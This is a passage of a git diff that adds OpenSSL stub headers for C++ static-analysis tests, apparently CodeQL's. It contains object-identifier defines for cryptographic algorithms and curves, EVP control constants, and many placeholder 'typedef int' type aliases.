+#define SN_mgf1 "MGF1" +#define NID_rsaesOaep 919 +#define LN_rsaesOaep "rsaesOaep" +#define SN_rsaesOaep "RSAES-OAEP" +#define NID_sha1WithRSAEncryption 65 +#define LN_sha1WithRSAEncryption "sha1WithRSAEncryption" +#define SN_sha1WithRSAEncryption "RSA-SHA1" +#define NID_md5WithRSAEncryption 8 +#define LN_md5WithRSAEncryption "md5WithRSAEncryption" +#define SN_md5WithRSAEncryption "RSA-MD5" +#define NID_md4WithRSAEncryption 396 +#define LN_md4WithRSAEncryption "md4WithRSAEncryption" +#define SN_md4WithRSAEncryption "RSA-MD4" +#define NID_md2WithRSAEncryption 7 +#define LN_md2WithRSAEncryption "md2WithRSAEncryption" +#define SN_md2WithRSAEncryption "RSA-MD2" +#define NID_rsaEncryption 6 +#define LN_rsaEncryption "rsaEncryption" +#define NID_pkcs1 186 +#define SN_pkcs1 "pkcs1" +#define NID_pkcs 2 +#define LN_pkcs "RSA Data Security, Inc. PKCS" +#define SN_pkcs "pkcs" +#define NID_rsadsi 1 +#define LN_rsadsi "RSA Data Security, Inc." +#define SN_rsadsi "rsadsi" +#define NID_id_DHBasedMac 783 +#define LN_id_DHBasedMac "Diffie-Hellman based MAC" +#define SN_id_DHBasedMac "id-DHBasedMac" +#define NID_id_PasswordBasedMAC 782 +#define LN_id_PasswordBasedMAC "password based MAC" +#define SN_id_PasswordBasedMAC "id-PasswordBasedMAC" +#define NID_pbeWithMD5AndCast5_CBC 112 +#define LN_pbeWithMD5AndCast5_CBC "pbeWithMD5AndCast5CBC" +#define NID_cast5_ofb64 111 +#define LN_cast5_ofb64 "cast5-ofb" +#define SN_cast5_ofb64 "CAST5-OFB" +#define NID_cast5_cfb64 110 +#define LN_cast5_cfb64 "cast5-cfb" +#define SN_cast5_cfb64 "CAST5-CFB" +#define NID_cast5_ecb 109 +#define LN_cast5_ecb "cast5-ecb" +#define SN_cast5_ecb "CAST5-ECB" +#define NID_cast5_cbc 108 +#define LN_cast5_cbc "cast5-cbc" +#define SN_cast5_cbc "CAST5-CBC" +#define NID_wap_wsg_idm_ecid_wtls12 745 +#define SN_wap_wsg_idm_ecid_wtls12 "wap-wsg-idm-ecid-wtls12" +#define NID_wap_wsg_idm_ecid_wtls11 744 +#define SN_wap_wsg_idm_ecid_wtls11 "wap-wsg-idm-ecid-wtls11" +#define NID_wap_wsg_idm_ecid_wtls10 743 +#define SN_wap_wsg_idm_ecid_wtls10 "wap-wsg-idm-ecid-wtls10" +#define NID_wap_wsg_idm_ecid_wtls9 742 +#define SN_wap_wsg_idm_ecid_wtls9 "wap-wsg-idm-ecid-wtls9" +#define NID_wap_wsg_idm_ecid_wtls8 741 +#define SN_wap_wsg_idm_ecid_wtls8 "wap-wsg-idm-ecid-wtls8" +#define NID_wap_wsg_idm_ecid_wtls7 740 +#define SN_wap_wsg_idm_ecid_wtls7 "wap-wsg-idm-ecid-wtls7" +#define NID_wap_wsg_idm_ecid_wtls6 739 +#define SN_wap_wsg_idm_ecid_wtls6 "wap-wsg-idm-ecid-wtls6" +#define NID_wap_wsg_idm_ecid_wtls5 738 +#define SN_wap_wsg_idm_ecid_wtls5 "wap-wsg-idm-ecid-wtls5" +#define NID_wap_wsg_idm_ecid_wtls4 737 +#define SN_wap_wsg_idm_ecid_wtls4 "wap-wsg-idm-ecid-wtls4" +#define NID_wap_wsg_idm_ecid_wtls3 736 +#define SN_wap_wsg_idm_ecid_wtls3 "wap-wsg-idm-ecid-wtls3" +#define NID_wap_wsg_idm_ecid_wtls1 735 +#define SN_wap_wsg_idm_ecid_wtls1 "wap-wsg-idm-ecid-wtls1" +#define NID_sect571r1 734 +#define SN_sect571r1 "sect571r1" +#define NID_sect571k1 733 +#define SN_sect571k1 "sect571k1" +#define NID_sect409r1 732 +#define SN_sect409r1 "sect409r1" +#define NID_sect409k1 731 +#define SN_sect409k1 "sect409k1" +#define NID_sect283r1 730 +#define SN_sect283r1 "sect283r1" +#define NID_sect283k1 729 +#define SN_sect283k1 "sect283k1" +#define NID_sect239k1 728 +#define SN_sect239k1 "sect239k1" +#define NID_sect233r1 727 +#define SN_sect233r1 "sect233r1" +#define NID_sect233k1 726 +#define SN_sect233k1 "sect233k1" +#define NID_sect193r2 725 +#define SN_sect193r2 "sect193r2" +#define NID_sect193r1 724 +#define SN_sect193r1 "sect193r1" +#define NID_sect163r2 723 +#define SN_sect163r2 "sect163r2" +#define NID_sect163r1 722 +#define SN_sect163r1 "sect163r1" +#define NID_sect163k1 721 +#define SN_sect163k1 "sect163k1" +#define NID_sect131r2 720 +#define SN_sect131r2 "sect131r2" +#define NID_sect131r1 719 +#define SN_sect131r1 "sect131r1" +#define NID_sect113r2 718 +#define SN_sect113r2 "sect113r2" +#define NID_sect113r1 717 +#define SN_sect113r1 "sect113r1" +#define NID_secp521r1 716 +#define SN_secp521r1 "secp521r1" +#define NID_secp384r1 715 +#define SN_secp384r1 "secp384r1" +#define NID_secp256k1 714 +#define SN_secp256k1 "secp256k1" +#define NID_secp224r1 713 +#define SN_secp224r1 "secp224r1" +#define NID_secp224k1 712 +#define SN_secp224k1 "secp224k1" +#define NID_secp192k1 711 +#define SN_secp192k1 "secp192k1" +#define NID_secp160r2 710 +#define SN_secp160r2 "secp160r2" +#define NID_secp160r1 709 +#define SN_secp160r1 "secp160r1" +#define NID_secp160k1 708 +#define SN_secp160k1 "secp160k1" +#define NID_secp128r2 707 +#define SN_secp128r2 "secp128r2" +#define NID_secp128r1 706 +#define SN_secp128r1 "secp128r1" +#define NID_secp112r2 705 +#define SN_secp112r2 "secp112r2" +#define NID_secp112r1 704 +#define SN_secp112r1 "secp112r1" +#define NID_ecdsa_with_SHA512 796 +#define SN_ecdsa_with_SHA512 "ecdsa-with-SHA512" +#define NID_ecdsa_with_SHA384 795 +#define SN_ecdsa_with_SHA384 "ecdsa-with-SHA384" +#define NID_ecdsa_with_SHA256 794 +#define SN_ecdsa_with_SHA256 "ecdsa-with-SHA256" +#define NID_ecdsa_with_SHA224 793 +#define SN_ecdsa_with_SHA224 "ecdsa-with-SHA224" +#define NID_ecdsa_with_Specified 792 +#define SN_ecdsa_with_Specified "ecdsa-with-Specified" +#define NID_ecdsa_with_Recommended 791 +#define SN_ecdsa_with_Recommended "ecdsa-with-Recommended" +#define NID_ecdsa_with_SHA1 416 +#define SN_ecdsa_with_SHA1 "ecdsa-with-SHA1" +#define NID_X9_62_prime256v1 415 +#define NID_X9_62_prime239v3 414 +#define SN_X9_62_prime239v3 "prime239v3" +#define NID_X9_62_prime239v2 413 +#define SN_X9_62_prime239v2 "prime239v2" +#define NID_X9_62_prime239v1 412 +#define SN_X9_62_prime239v1 "prime239v1" +#define NID_X9_62_prime192v3 411 +#define SN_X9_62_prime192v3 "prime192v3" +#define NID_X9_62_prime192v2 410 +#define SN_X9_62_prime192v2 "prime192v2" +#define NID_X9_62_prime192v1 409 +#define NID_X9_62_c2tnb431r1 703 +#define SN_X9_62_c2tnb431r1 "c2tnb431r1" +#define NID_X9_62_c2pnb368w1 702 +#define SN_X9_62_c2pnb368w1 "c2pnb368w1" +#define NID_X9_62_c2tnb359v1 701 +#define SN_X9_62_c2tnb359v1 "c2tnb359v1" +#define NID_X9_62_c2pnb304w1 700 +#define SN_X9_62_c2pnb304w1 "c2pnb304w1" +#define NID_X9_62_c2pnb272w1 699 +#define SN_X9_62_c2pnb272w1 "c2pnb272w1" +#define NID_X9_62_c2onb239v5 698 +#define SN_X9_62_c2onb239v5 "c2onb239v5" +#define NID_X9_62_c2onb239v4 697 +#define SN_X9_62_c2onb239v4 "c2onb239v4" +#define NID_X9_62_c2tnb239v3 696 +#define SN_X9_62_c2tnb239v3 "c2tnb239v3" +#define NID_X9_62_c2tnb239v2 695 +#define SN_X9_62_c2tnb239v2 "c2tnb239v2" +#define NID_X9_62_c2tnb239v1 694 +#define SN_X9_62_c2tnb239v1 "c2tnb239v1" +#define NID_X9_62_c2pnb208w1 693 +#define SN_X9_62_c2pnb208w1 "c2pnb208w1" +#define NID_X9_62_c2onb191v5 692 +#define SN_X9_62_c2onb191v5 "c2onb191v5" +#define NID_X9_62_c2onb191v4 691 +#define SN_X9_62_c2onb191v4 "c2onb191v4" +#define NID_X9_62_c2tnb191v3 690 +#define SN_X9_62_c2tnb191v3 "c2tnb191v3" +#define NID_X9_62_c2tnb191v2 689 +#define SN_X9_62_c2tnb191v2 "c2tnb191v2" +#define NID_X9_62_c2tnb191v1 688 +#define SN_X9_62_c2tnb191v1 "c2tnb191v1" +#define NID_X9_62_c2pnb176v1 687 +#define SN_X9_62_c2pnb176v1 "c2pnb176v1" +#define NID_X9_62_c2pnb163v3 686 +#define SN_X9_62_c2pnb163v3 "c2pnb163v3" +#define NID_X9_62_c2pnb163v2 685 +#define SN_X9_62_c2pnb163v2 "c2pnb163v2" +#define NID_X9_62_c2pnb163v1 684 +#define SN_X9_62_c2pnb163v1 "c2pnb163v1" +#define NID_X9_62_id_ecPublicKey 408 +#define SN_X9_62_id_ecPublicKey "id-ecPublicKey" +#define NID_X9_62_ppBasis 683 +#define SN_X9_62_ppBasis "ppBasis" +#define NID_X9_62_tpBasis 682 +#define SN_X9_62_tpBasis "tpBasis" +#define NID_X9_62_onBasis 681 +#define SN_X9_62_onBasis "onBasis" +#define NID_X9_62_id_characteristic_two_basis 680 +#define SN_X9_62_id_characteristic_two_basis "id-characteristic-two-basis" +#define NID_X9_62_characteristic_two_field 407 +#define SN_X9_62_characteristic_two_field "characteristic-two-field" +#define NID_X9_62_prime_field 406 +#define SN_X9_62_prime_field "prime-field" +#define NID_ansi_X9_62 405 +#define LN_ansi_X9_62 "ANSI X9.62" +#define SN_ansi_X9_62 "ansi-X9-62" +#define NID_dsaWithSHA1 113 +#define LN_dsaWithSHA1 "dsaWithSHA1" +#define SN_dsaWithSHA1 "DSA-SHA1" +#define NID_dsa 116 +#define LN_dsa "dsaEncryption" +#define SN_dsa "DSA" +#define NID_sm_scheme 1142 +#define SN_sm_scheme "sm-scheme" +#define NID_oscca 1141 +#define SN_oscca "oscca" +#define NID_ISO_CN 1140 +#define LN_ISO_CN "ISO CN Member Body" +#define SN_ISO_CN "ISO-CN" +#define NID_X9cm 185 +#define LN_X9cm "X9.57 CM ?" +#define SN_X9cm "X9cm" +#define NID_X9_57 184 +#define LN_X9_57 "X9.57" +#define SN_X9_57 "X9-57" +#define NID_ISO_US 183 +#define LN_ISO_US "ISO US Member Body" +#define SN_ISO_US "ISO-US" +#define NID_clearance 395 +#define SN_clearance "clearance" +#define NID_selected_attribute_types 394 +#define LN_selected_attribute_types "Selected Attribute Types" +#define SN_selected_attribute_types "selected-attribute-types" +#define NID_wap_wsg 679 +#define SN_wap_wsg "wap-wsg" +#define NID_wap 678 +#define SN_wap "wap" +#define NID_international_organizations 647 +#define LN_international_organizations "International Organizations" +#define SN_international_organizations "international-organizations" +#define NID_ieee_siswg 1171 +#define LN_ieee_siswg "IEEE Security in Storage Working Group" +#define SN_ieee_siswg "ieee-siswg" +#define NID_ieee 1170 +#define SN_ieee "ieee" +#define NID_certicom_arc 677 +#define SN_certicom_arc "certicom-arc" +#define NID_x509ExtAdmission 1093 +#define LN_x509ExtAdmission "Professional Information or basis for Admission" +#define SN_x509ExtAdmission "x509ExtAdmission" +#define NID_hmac_sha1 781 +#define LN_hmac_sha1 "hmac-sha1" +#define SN_hmac_sha1 "HMAC-SHA1" +#define NID_hmac_md5 780 +#define LN_hmac_md5 "hmac-md5" +#define SN_hmac_md5 "HMAC-MD5" +#define NID_gmac 1195 +#define LN_gmac "gmac" +#define SN_gmac "GMAC" +#define NID_identified_organization 676 +#define SN_identified_organization "identified-organization" +#define NID_member_body 182 +#define LN_member_body "ISO Member Body" +#define SN_member_body "member-body" +#define NID_joint_iso_ccitt 393 +#define NID_joint_iso_itu_t 646 +#define LN_joint_iso_itu_t "joint-iso-itu-t" +#define SN_joint_iso_itu_t "JOINT-ISO-ITU-T" +#define NID_iso 181 +#define LN_iso "iso" +#define SN_iso "ISO" +#define NID_ccitt 404 +#define NID_itu_t 645 +#define LN_itu_t "itu-t" +#define SN_itu_t "ITU-T" +#define LN_undef "undefined" +#define SN_undef "UNDEF" diff --git a/cpp/ql/test/experimental/stubs/openssl/evp_stubs.h b/cpp/ql/test/experimental/stubs/openssl/evp_stubs.h new file mode 100644 index 000000000000..4bc1af0b15d6 --- /dev/null +++ b/cpp/ql/test/experimental/stubs/openssl/evp_stubs.h @@ -0,0 +1,4986 @@ +#ifndef OSSL_EVP_H +#define OSSL_EVP_H + +// Common defines and integer types. +#define NULL 0 + +# define EVP_CTRL_INIT 0x0 +# define EVP_CTRL_SET_KEY_LENGTH 0x1 +# define EVP_CTRL_GET_RC2_KEY_BITS 0x2 +# define EVP_CTRL_SET_RC2_KEY_BITS 0x3 +# define EVP_CTRL_GET_RC5_ROUNDS 0x4 +# define EVP_CTRL_SET_RC5_ROUNDS 0x5 +# define EVP_CTRL_RAND_KEY 0x6 +# define EVP_CTRL_PBE_PRF_NID 0x7 +# define EVP_CTRL_COPY 0x8 +# define EVP_CTRL_AEAD_SET_IVLEN 0x9 +# define EVP_CTRL_AEAD_GET_TAG 0x10 +# define EVP_CTRL_AEAD_SET_TAG 0x11 +# define EVP_CTRL_AEAD_SET_IV_FIXED 0x12 +# define EVP_CTRL_GCM_SET_IVLEN EVP_CTRL_AEAD_SET_IVLEN +# define EVP_CTRL_GCM_GET_TAG EVP_CTRL_AEAD_GET_TAG +# define EVP_CTRL_GCM_SET_TAG EVP_CTRL_AEAD_SET_TAG +# define EVP_CTRL_GCM_SET_IV_FIXED EVP_CTRL_AEAD_SET_IV_FIXED +# define EVP_CTRL_GCM_IV_GEN 0x13 +# define EVP_CTRL_CCM_SET_IVLEN EVP_CTRL_AEAD_SET_IVLEN +# define EVP_CTRL_CCM_GET_TAG EVP_CTRL_AEAD_GET_TAG +# define EVP_CTRL_CCM_SET_TAG EVP_CTRL_AEAD_SET_TAG +# define EVP_CTRL_CCM_SET_IV_FIXED EVP_CTRL_AEAD_SET_IV_FIXED +# define EVP_CTRL_CCM_SET_L 0x14 +# define EVP_CTRL_CCM_SET_MSGLEN 0x15 + +typedef unsigned long size_t; + +typedef unsigned char uint8_t; +typedef unsigned int uint32_t; +typedef unsigned long long uint64_t; + +// Type aliases. +typedef int OSSL_PROVIDER; + +typedef int OSSL_FUNC_keymgmt_import_fn; + +typedef int OSSL_FUNC_digest_get_ctx_params_fn; + +typedef int OSSL_FUNC_cipher_settable_ctx_params_fn; + +typedef int ASN1_STRING; + +typedef int OSSL_FUNC_mac_set_ctx_params_fn; + +typedef int OSSL_FUNC_signature_digest_verify_update_fn; + +typedef int OSSL_FUNC_provider_get_reason_strings_fn; + +typedef int OSSL_FUNC_core_get_params_fn; + +typedef int OSSL_FUNC_rand_get_seed_fn; + +typedef int OSSL_FUNC_rand_instantiate_fn; + +typedef int OSSL_FUNC_keymgmt_gen_get_params_fn; + +typedef int EVP_PKEY_gen_cb; + +typedef int OSSL_FUNC_provider_unquery_operation_fn; + +typedef int OSSL_FUNC_cleanup_user_entropy_fn; + +typedef int OSSL_FUNC_asym_cipher_decrypt_fn; + +typedef int OSSL_FUNC_cipher_pipeline_decrypt_init_fn; + +typedef int X509_PUBKEY; + +typedef int OSSL_FUNC_BIO_puts_fn; + +typedef int OSSL_FUNC_signature_verify_fn; + +typedef int OSSL_FUNC_encoder_gettable_params_fn; + +typedef int OSSL_FUNC_keymgmt_validate_fn; + +typedef int EVP_PBE_KEYGEN_EX; + +typedef int OSSL_FUNC_keyexch_dupctx_fn; + +typedef int OSSL_FUNC_kdf_newctx_fn; + +typedef int OSSL_FUNC_signature_digest_verify_final_fn; + +typedef int OSSL_FUNC_signature_set_ctx_params_fn; + +typedef int OSSL_FUNC_rand_reseed_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_release_rcd_fn; + +typedef int OSSL_FUNC_store_open_fn; + +typedef int OSSL_FUNC_encoder_newctx_fn; + +typedef int EVP_KEYMGMT; + +typedef int OSSL_FUNC_core_vset_error_fn; + +typedef int EVP_KEYEXCH; + +typedef int OSSL_FUNC_signature_gettable_ctx_md_params_fn; + +typedef int OSSL_FUNC_CRYPTO_secure_free_fn; + +typedef int OSSL_FUNC_keymgmt_import_types_fn; + +typedef int OSSL_FUNC_signature_sign_message_update_fn; + +typedef int OSSL_FUNC_keymgmt_gen_gettable_params_fn; + +typedef int OSSL_FUNC_cipher_update_fn; + +typedef int OSSL_FUNC_mac_newctx_fn; + +typedef int OSSL_FUNC_keymgmt_set_params_fn; + +typedef int X509_ALGOR; + +typedef int OSSL_FUNC_signature_get_ctx_params_fn; + +typedef int ASN1_ITEM; + +typedef int EVP_SIGNATURE; + +typedef int OSSL_FUNC_CRYPTO_realloc_fn; + +typedef int OSSL_FUNC_BIO_new_file_fn; + +typedef int OSSL_FUNC_signature_sign_message_final_fn; + +typedef int OSSL_FUNC_cipher_newctx_fn; + +typedef int OSSL_FUNC_rand_nonce_fn; + +typedef int EVP_MD; + +typedef int OSSL_FUNC_kdf_reset_fn; + +typedef int OSSL_FUNC_keyexch_settable_ctx_params_fn; + +typedef int OSSL_FUNC_store_export_object_fn; + +typedef int OSSL_FUNC_CRYPTO_secure_allocated_fn; + +typedef int OSSL_FUNC_cipher_pipeline_update_fn; + +typedef int OSSL_FUNC_keyexch_freectx_fn; + +typedef int OSSL_FUNC_kdf_gettable_params_fn; + +typedef int OSSL_FUNC_rand_set_ctx_params_fn; + +typedef int OSSL_FUNC_signature_verify_message_init_fn; + +typedef int OSSL_FUNC_keymgmt_free_fn; + +typedef int OSSL_FUNC_rand_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_signature_digest_sign_update_fn; + +typedef int OSSL_FUNC_keymgmt_has_fn; + +typedef int OSSL_FUNC_kdf_get_ctx_params_fn; + +typedef int OSSL_FUNC_provider_get0_dispatch_fn; + +typedef int OSSL_FUNC_signature_verify_message_update_fn; + +typedef int OSSL_FUNC_rand_lock_fn; + +typedef int EVP_KEM; + +typedef int OSSL_FUNC_BIO_read_ex_fn; + +typedef int X509_SIG_INFO; + +typedef int OSSL_FUNC_keymgmt_import_types_ex_fn; + +typedef int OSSL_FUNC_encoder_free_object_fn; + +typedef int OSSL_FUNC_asym_cipher_decrypt_init_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_alert_fn; + +typedef int OSSL_FUNC_cipher_get_params_fn; + +typedef int OSSL_FUNC_get_nonce_fn; + +typedef int ASN1_OBJECT; + +typedef int OSSL_LIB_CTX; + +typedef int OSSL_FUNC_keymgmt_gen_set_params_fn; + +typedef int OSSL_FUNC_provider_deregister_child_cb_fn; + +typedef int OSSL_PARAM; + +typedef int OSSL_FUNC_decoder_gettable_params_fn; + +typedef int OSSL_FUNC_cipher_pipeline_final_fn; + +typedef int OSSL_FUNC_signature_freectx_fn; + +typedef int EVP_PKEY_METHOD; + +typedef int OSSL_FUNC_CRYPTO_zalloc_fn; + +typedef int OSSL_FUNC_keymgmt_query_operation_name_fn; + +typedef int OSSL_FUNC_core_set_error_mark_fn; + +typedef int OSSL_FUNC_asym_cipher_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_CRYPTO_free_fn; + +typedef int OSSL_FUNC_indicator_cb_fn; + +typedef int OSSL_FUNC_kdf_freectx_fn; + +typedef int ENGINE; + +typedef int EVP_PKEY; + +typedef int PKCS8_PRIV_KEY_INFO; + +typedef int OSSL_FUNC_signature_digest_verify_fn; + +typedef int OSSL_FUNC_mac_final_fn; + +typedef int OSSL_FUNC_core_pop_error_to_mark_fn; + +typedef int OSSL_FUNC_signature_verify_recover_fn; + +typedef int OSSL_FUNC_keymgmt_gen_settable_params_fn; + +typedef int OSSL_FUNC_provider_self_test_fn; + +typedef int OSSL_FUNC_digest_gettable_params_fn; + +typedef int OSSL_FUNC_CRYPTO_secure_malloc_fn; + +typedef int OSSL_FUNC_keymgmt_get_params_fn; + +typedef int OSSL_FUNC_mac_freectx_fn; + +typedef int OSSL_FUNC_cleanup_user_nonce_fn; + +typedef int EVP_SKEYMGMT; + +typedef int OSSL_FUNC_core_set_error_debug_fn; + +typedef int OSSL_FUNC_cipher_decrypt_skey_init_fn; + +typedef int OSSL_FUNC_BIO_new_membuf_fn; + +typedef int OSSL_FUNC_provider_query_operation_fn; + +typedef int OSSL_FUNC_signature_set_ctx_md_params_fn; + +typedef int OSSL_FUNC_encoder_does_selection_fn; + +typedef int OSSL_FUNC_kem_get_ctx_params_fn; + +typedef int OSSL_FUNC_cipher_gettable_params_fn; + +typedef int OSSL_FUNC_digest_final_fn; + +typedef int OSSL_FUNC_rand_generate_fn; + +typedef int EVP_PKEY_CTX; + +typedef int OSSL_FUNC_kem_decapsulate_fn; + +typedef int OSSL_FUNC_skeymgmt_generate_fn; + +typedef int OSSL_FUNC_asym_cipher_encrypt_init_fn; + +typedef int OSSL_FUNC_kdf_get_params_fn; + +typedef int OSSL_FUNC_cipher_encrypt_skey_init_fn; + +typedef int OSSL_FUNC_encoder_get_params_fn; + +typedef int OSSL_FUNC_asym_cipher_freectx_fn; + +typedef int OSSL_FUNC_CRYPTO_secure_clear_free_fn; + +typedef int OSSL_FUNC_store_load_fn; + +typedef int OSSL_FUNC_digest_update_fn; + +typedef int OSSL_FUNC_provider_up_ref_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_recv_rcd_fn; + +typedef int OSSL_FUNC_signature_digest_sign_init_fn; + +typedef int OSSL_FUNC_keymgmt_load_fn; + +typedef int OSSL_FUNC_keyexch_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_rand_get_params_fn; + +typedef int OSSL_FUNC_rand_verify_zeroization_fn; + +typedef int OSSL_FUNC_skeymgmt_export_fn; + +typedef int OSSL_FUNC_BIO_free_fn; + +typedef int OSSL_FUNC_rand_settable_ctx_params_fn; + +typedef int OSSL_FUNC_cleanup_entropy_fn; + +typedef int OSSL_FUNC_encoder_settable_ctx_params_fn; + +typedef int OSSL_DISPATCH; + +typedef int OSSL_FUNC_OPENSSL_cleanse_fn; + +typedef int OSSL_FUNC_digest_dupctx_fn; + +typedef int OSSL_FUNC_kem_decapsulate_init_fn; + +typedef int EVP_MAC_CTX; + +typedef int OSSL_FUNC_digest_squeeze_fn; + +typedef int OSSL_FUNC_keyexch_set_ctx_params_fn; + +typedef int EVP_ENCODE_CTX; + +typedef int OSSL_FUNC_BIO_vsnprintf_fn; + +typedef int OSSL_FUNC_mac_dupctx_fn; + +typedef int OSSL_FUNC_kdf_derive_fn; + +typedef int OSSL_FUNC_encoder_set_ctx_params_fn; + +typedef int OSSL_FUNC_rand_freectx_fn; + +typedef int OSSL_FUNC_BIO_ctrl_fn; + +typedef int EVP_CIPHER; + +typedef int OSSL_FUNC_cipher_set_ctx_params_fn; + +typedef int OSSL_FUNC_rand_enable_locking_fn; + +typedef int OSSL_FUNC_keyexch_newctx_fn; + +typedef int OSSL_FUNC_signature_settable_ctx_params_fn; + +typedef int OSSL_FUNC_provider_gettable_params_fn; + +typedef int OSSL_FUNC_keymgmt_gen_set_template_fn; + +typedef int OSSL_FUNC_keymgmt_settable_params_fn; + +typedef int OSSL_FUNC_keymgmt_gen_cleanup_fn; + +typedef int OSSL_FUNC_kdf_set_ctx_params_fn; + +typedef int OSSL_FUNC_rand_unlock_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_yield_secret_fn; + +typedef int OSSL_FUNC_signature_digest_sign_fn; + +typedef int OSSL_FUNC_keymgmt_gettable_params_fn; + +typedef int OSSL_FUNC_kem_auth_encapsulate_init_fn; + +typedef int OSSL_FUNC_kem_encapsulate_fn; + +typedef int OSSL_FUNC_CRYPTO_secure_zalloc_fn; + +typedef int OSSL_FUNC_rand_get_ctx_params_fn; + +typedef int OSSL_FUNC_store_delete_fn; + +typedef int OSSL_FUNC_cipher_pipeline_encrypt_init_fn; + +typedef int OSSL_FUNC_cipher_dupctx_fn; + +typedef int OSSL_FUNC_store_settable_ctx_params_fn; + +typedef int FILE; + +typedef int OSSL_FUNC_provider_teardown_fn; + +typedef int OSSL_FUNC_kdf_dupctx_fn; + +typedef int OSSL_FUNC_decoder_newctx_fn; + +typedef int ASN1_BIT_STRING; + +typedef int OSSL_FUNC_core_clear_last_error_mark_fn; + +typedef int OSSL_FUNC_core_obj_create_fn; + +typedef int OSSL_FUNC_keyexch_init_fn; + +typedef int OSSL_FUNC_kem_gettable_ctx_params_fn; + +typedef int EVP_MD_CTX; + +typedef int OSSL_FUNC_decoder_decode_fn; + +typedef int OSSL_FUNC_mac_gettable_params_fn; + +typedef int OSSL_FUNC_kem_set_ctx_params_fn; + +typedef int OSSL_FUNC_encoder_encode_fn; + +typedef int OSSL_FUNC_core_gettable_params_fn; + +typedef int OSSL_FUNC_mac_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_get_user_entropy_fn; + +typedef int OSSL_FUNC_kdf_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_keymgmt_gen_fn; + +typedef int OSSL_FUNC_keyexch_set_peer_fn; + +typedef int OSSL_FUNC_core_obj_add_sigid_fn; + +typedef int OSSL_FUNC_keymgmt_export_types_ex_fn; + +typedef int OSSL_FUNC_kem_newctx_fn; + +typedef int OSSL_FUNC_signature_sign_init_fn; + +typedef int OSSL_FUNC_asym_cipher_get_ctx_params_fn; + +typedef int OSSL_FUNC_CRYPTO_clear_free_fn; + +typedef int OSSL_FUNC_encoder_freectx_fn; + +typedef int OSSL_FUNC_kem_freectx_fn; + +typedef int OSSL_FUNC_provider_get0_provider_ctx_fn; + +typedef int OSSL_FUNC_digest_copyctx_fn; + +typedef int OSSL_FUNC_provider_name_fn; + +typedef int OSSL_FUNC_cipher_decrypt_init_fn; + +typedef int EVP_PKEY_ASN1_METHOD; + +typedef int OSSL_FUNC_keyexch_get_ctx_params_fn; + +typedef int OSSL_FUNC_store_set_ctx_params_fn; + +typedef int ASN1_TYPE; + +typedef int OSSL_FUNC_skeymgmt_imp_settable_params_fn; + +typedef int OSSL_FUNC_cipher_get_ctx_params_fn; + +typedef int EVP_MAC; + +typedef int OSSL_FUNC_store_attach_fn; + +typedef int OSSL_FUNC_signature_get_ctx_md_params_fn; + +typedef int OSSL_FUNC_encoder_import_object_fn; + +typedef int OSSL_FUNC_cleanup_nonce_fn; + +typedef int OSSL_FUNC_kem_auth_decapsulate_init_fn; + +typedef int OSSL_CALLBACK; + +typedef int OSSL_FUNC_skeymgmt_import_fn; + +typedef int OSSL_FUNC_cipher_freectx_fn; + +typedef int OSSL_FUNC_asym_cipher_dupctx_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_crypto_send_fn; + +typedef int OSSL_FUNC_CRYPTO_clear_realloc_fn; + +typedef int OSSL_FUNC_signature_verify_recover_init_fn; + +typedef int OSSL_FUNC_provider_free_fn; + +typedef int EVP_RAND; + +typedef int OSSL_FUNC_digest_newctx_fn; + +typedef int OSSL_FUNC_cipher_final_fn; + +typedef int OSSL_FUNC_keymgmt_new_fn; + +typedef int EVP_CIPHER_CTX; + +typedef int OSSL_FUNC_decoder_does_selection_fn; + +typedef int OSSL_FUNC_signature_digest_verify_init_fn; + +typedef int OSSL_FUNC_digest_set_ctx_params_fn; + +typedef int OSSL_FUNC_rand_newctx_fn; + +typedef int OSSL_FUNC_BIO_vprintf_fn; + +typedef int OSSL_FUNC_keymgmt_gen_init_fn; + +typedef int EVP_RAND_CTX; + +typedef int OSSL_FUNC_store_close_fn; + +typedef int OSSL_FUNC_asym_cipher_encrypt_fn; + +typedef int OSSL_FUNC_mac_get_params_fn; + +typedef int OSSL_FUNC_get_entropy_fn; + +typedef int OSSL_FUNC_digest_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_SSL_QUIC_TLS_got_transport_params_fn; + +typedef int OSSL_FUNC_skeymgmt_free_fn; + +typedef int OSSL_FUNC_mac_settable_ctx_params_fn; + +typedef int OSSL_FUNC_decoder_export_object_fn; + +typedef int OSSL_FUNC_rand_clear_seed_fn; + +typedef int OSSL_FUNC_mac_get_ctx_params_fn; + +typedef int OSSL_FUNC_digest_digest_fn; + +typedef int EVP_SKEY; + +typedef int OSSL_FUNC_cipher_gettable_ctx_params_fn; + +typedef int OSSL_FUNC_CRYPTO_malloc_fn; + +typedef int OSSL_FUNC_asym_cipher_settable_ctx_params_fn; + +typedef int OSSL_FUNC_signature_dupctx_fn; + +typedef int OSSL_FUNC_BIO_write_ex_fn; + +typedef int OSSL_FUNC_rand_set_callbacks_fn; + +typedef int OSSL_FUNC_keymgmt_match_fn; + +typedef int OSSL_FUNC_signature_digest_sign_final_fn; + +typedef int OSSL_FUNC_provider_get_params_fn; + +typedef int OSSL_FUNC_BIO_gets_fn; + +typedef int OSSL_FUNC_cipher_encrypt_init_fn; + +typedef int OSSL_FUNC_signature_verify_message_final_fn; + +typedef int BIGNUM; + +typedef int OSSL_FUNC_digest_freectx_fn; + +typedef int OSSL_FUNC_asym_cipher_set_ctx_params_fn; + +typedef int OSSL_FUNC_signature_gettable_ctx_params_fn; + +typedef int BIO; + +typedef int OSSL_FUNC_digest_get_params_fn; + +typedef int OSSL_FUNC_skeymgmt_get_key_id_fn; + +typedef int OSSL_FUNC_rand_uninstantiate_fn; + +typedef int OSSL_FUNC_decoder_get_params_fn; + +typedef int OSSL_FUNC_signature_newctx_fn; + +typedef int OSSL_FUNC_signature_sign_fn; + +typedef int OSSL_FUNC_decoder_set_ctx_params_fn; + +typedef int OSSL_FUNC_kem_dupctx_fn; + +typedef int OSSL_FUNC_get_user_nonce_fn; + +typedef int OSSL_FUNC_mac_init_skey_fn; + +typedef int ASN1_PCTX; + +typedef int 